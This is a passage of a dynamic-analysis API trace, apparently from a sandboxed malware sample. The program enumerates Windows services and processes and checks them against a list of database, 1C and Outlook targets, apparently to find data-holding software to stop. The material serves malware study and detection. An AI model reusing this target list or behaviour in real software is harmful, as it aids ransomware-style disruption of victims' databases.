(lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0169.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0169.520] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0169.520] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0169.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0169.520] lstrlenW (lpString="Themes") returned 6 [0169.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0169.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0169.520] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0169.520] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0169.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0169.520] lstrlenW (lpString="TrkWks") returned 6 [0169.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0169.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0169.520] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0169.520] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0169.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0169.520] lstrlenW (lpString="UxSms") returned 5 [0169.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0169.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0169.521] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0169.521] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0169.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0169.521] lstrlenW (lpString="WdiServiceHost") returned 14 [0169.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0169.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0169.521] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0169.521] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0169.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0169.521] lstrlenW (lpString="WdiSystemHost") returned 13 [0169.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0169.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0169.521] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0169.521] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0169.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0169.521] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0169.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0169.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0169.521] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0169.521] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0169.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0169.521] lstrlenW (lpString="Winmgmt") returned 7 [0169.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0169.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0169.521] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0169.521] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0169.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0169.522] lstrlenW (lpString="WPDBusEnum") returned 10 [0169.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0169.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0169.522] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0169.522] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0169.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0169.522] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428e0b8 | out: hHeap=0x880000) returned 1 [0169.522] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x180 [0169.524] Process32FirstW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.525] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0169.525] lstrlenW (lpString="System") returned 6 [0169.525] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0169.525] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0169.526] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0169.526] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0169.526] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0169.526] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0169.526] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0169.526] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0169.526] lstrlenW (lpString="smss.exe") returned 8 [0169.526] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0169.526] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0169.526] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0169.526] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0169.526] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0169.526] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0169.526] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0169.526] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0169.527] lstrlenW (lpString="csrss.exe") returned 9 [0169.527] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0169.527] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0169.527] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0169.527] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0169.527] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0169.527] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0169.527] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0169.527] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0169.527] lstrlenW (lpString="wininit.exe") returned 11 [0169.527] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0169.527] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0169.528] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0169.528] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0169.528] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0169.528] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0169.528] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0169.528] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0169.528] lstrlenW (lpString="csrss.exe") returned 9 [0169.528] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0169.528] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0169.528] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0169.528] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0169.528] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0169.528] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0169.528] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0169.529] lstrlenW (lpString="winlogon.exe") returned 12 [0169.529] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0169.529] lstrlenW (lpString="services.exe") returned 12 [0169.529] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0169.529] lstrlenW (lpString="lsass.exe") returned 9 [0169.529] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0169.530] lstrlenW (lpString="lsm.exe") returned 7 [0169.530] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.530] lstrlenW (lpString="svchost.exe") returned 11 [0169.530] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.531] lstrlenW (lpString="svchost.exe") returned 11 [0169.531] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.531] lstrlenW (lpString="svchost.exe") returned 11 [0169.531] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.531] lstrlenW (lpString="svchost.exe") returned 11 [0169.531] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.532] lstrlenW (lpString="svchost.exe") returned 11 [0169.532] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0169.532] lstrlenW (lpString="audiodg.exe") returned 11 [0169.532] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.532] lstrlenW (lpString="svchost.exe") returned 11 [0169.532] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0169.533] lstrlenW (lpString="explorer.exe") returned 12 [0169.533] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0169.533] lstrlenW (lpString="dwm.exe") returned 7 [0169.533] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.534] lstrlenW (lpString="svchost.exe") returned 11 [0169.534] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0169.534] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0169.534] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0169.534] lstrlenW (lpString="spoolsv.exe") returned 11 [0169.534] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0169.535] lstrlenW (lpString="reader_sl.exe") returned 13 [0169.535] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.535] lstrlenW (lpString="svchost.exe") returned 11 [0169.535] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0169.535] lstrlenW (lpString="taskhost.exe") returned 12 [0169.535] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0169.536] lstrlenW (lpString="dllhost.exe") returned 11 [0169.536] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0169.536] lstrlenW (lpString="taskhost.exe") returned 12 [0169.536] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0169.537] lstrlenW (lpString="dllhost.exe") returned 11 [0169.537] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0169.537] lstrlenW (lpString="dllhost.exe") returned 11 [0169.537] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0169.537] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0169.537] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0169.538] lstrlenW (lpString="cmd.exe") returned 7 [0169.538] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0169.538] lstrlenW (lpString="conhost.exe") returned 11 [0169.538] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0169.539] CloseHandle (hObject=0x180) returned 1 [0169.539] Sleep (dwMilliseconds=0x1f4) [0170.204] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x428b6b8 [0170.204] EnumServicesStatusExW (in: hSCManager=0x428b6b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0170.205] GetLastError () returned 0xea [0170.205] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x428e0b8 [0170.205] EnumServicesStatusExW (in: hSCManager=0x428b6b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428e0b8, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428e0b8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0170.205] CloseServiceHandle (hSCObject=0x428b6b8) returned 1 [0170.205] lstrlenW (lpString="Appinfo") returned 7 [0170.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0170.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0170.206] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0170.206] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0170.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0170.206] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0170.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0170.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0170.206] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0170.206] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0170.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0170.206] lstrlenW (lpString="AudioSrv") returned 8 [0170.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0170.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0170.206] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0170.206] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0170.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0170.206] lstrlenW (lpString="BFE") returned 3 [0170.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0170.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0170.206] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0170.206] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0170.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0170.206] lstrlenW (lpString="CryptSvc") returned 8 [0170.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0170.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0170.206] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0170.206] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0170.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0170.207] lstrlenW (lpString="CscService") returned 10 [0170.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0170.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0170.207] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0170.207] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0170.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0170.207] lstrlenW (lpString="DcomLaunch") returned 10 [0170.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0170.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0170.207] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0170.207] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0170.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0170.207] lstrlenW (lpString="Dhcp") returned 4 [0170.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0170.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0170.207] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0170.207] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0170.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0170.207] lstrlenW (lpString="Dnscache") returned 8 [0170.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0170.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0170.207] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0170.207] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0170.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0170.207] lstrlenW (lpString="DPS") returned 3 [0170.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0170.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0170.208] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0170.208] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0170.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0170.208] lstrlenW (lpString="eventlog") returned 8 [0170.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0170.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0170.208] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0170.208] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0170.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0170.208] lstrlenW (lpString="EventSystem") returned 11 [0170.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0170.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0170.208] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0170.208] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0170.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0170.208] lstrlenW (lpString="gpsvc") returned 5 [0170.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0170.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0170.208] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0170.208] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0170.208] lstrcmpiW (lpString1="sqlserveradhelper", 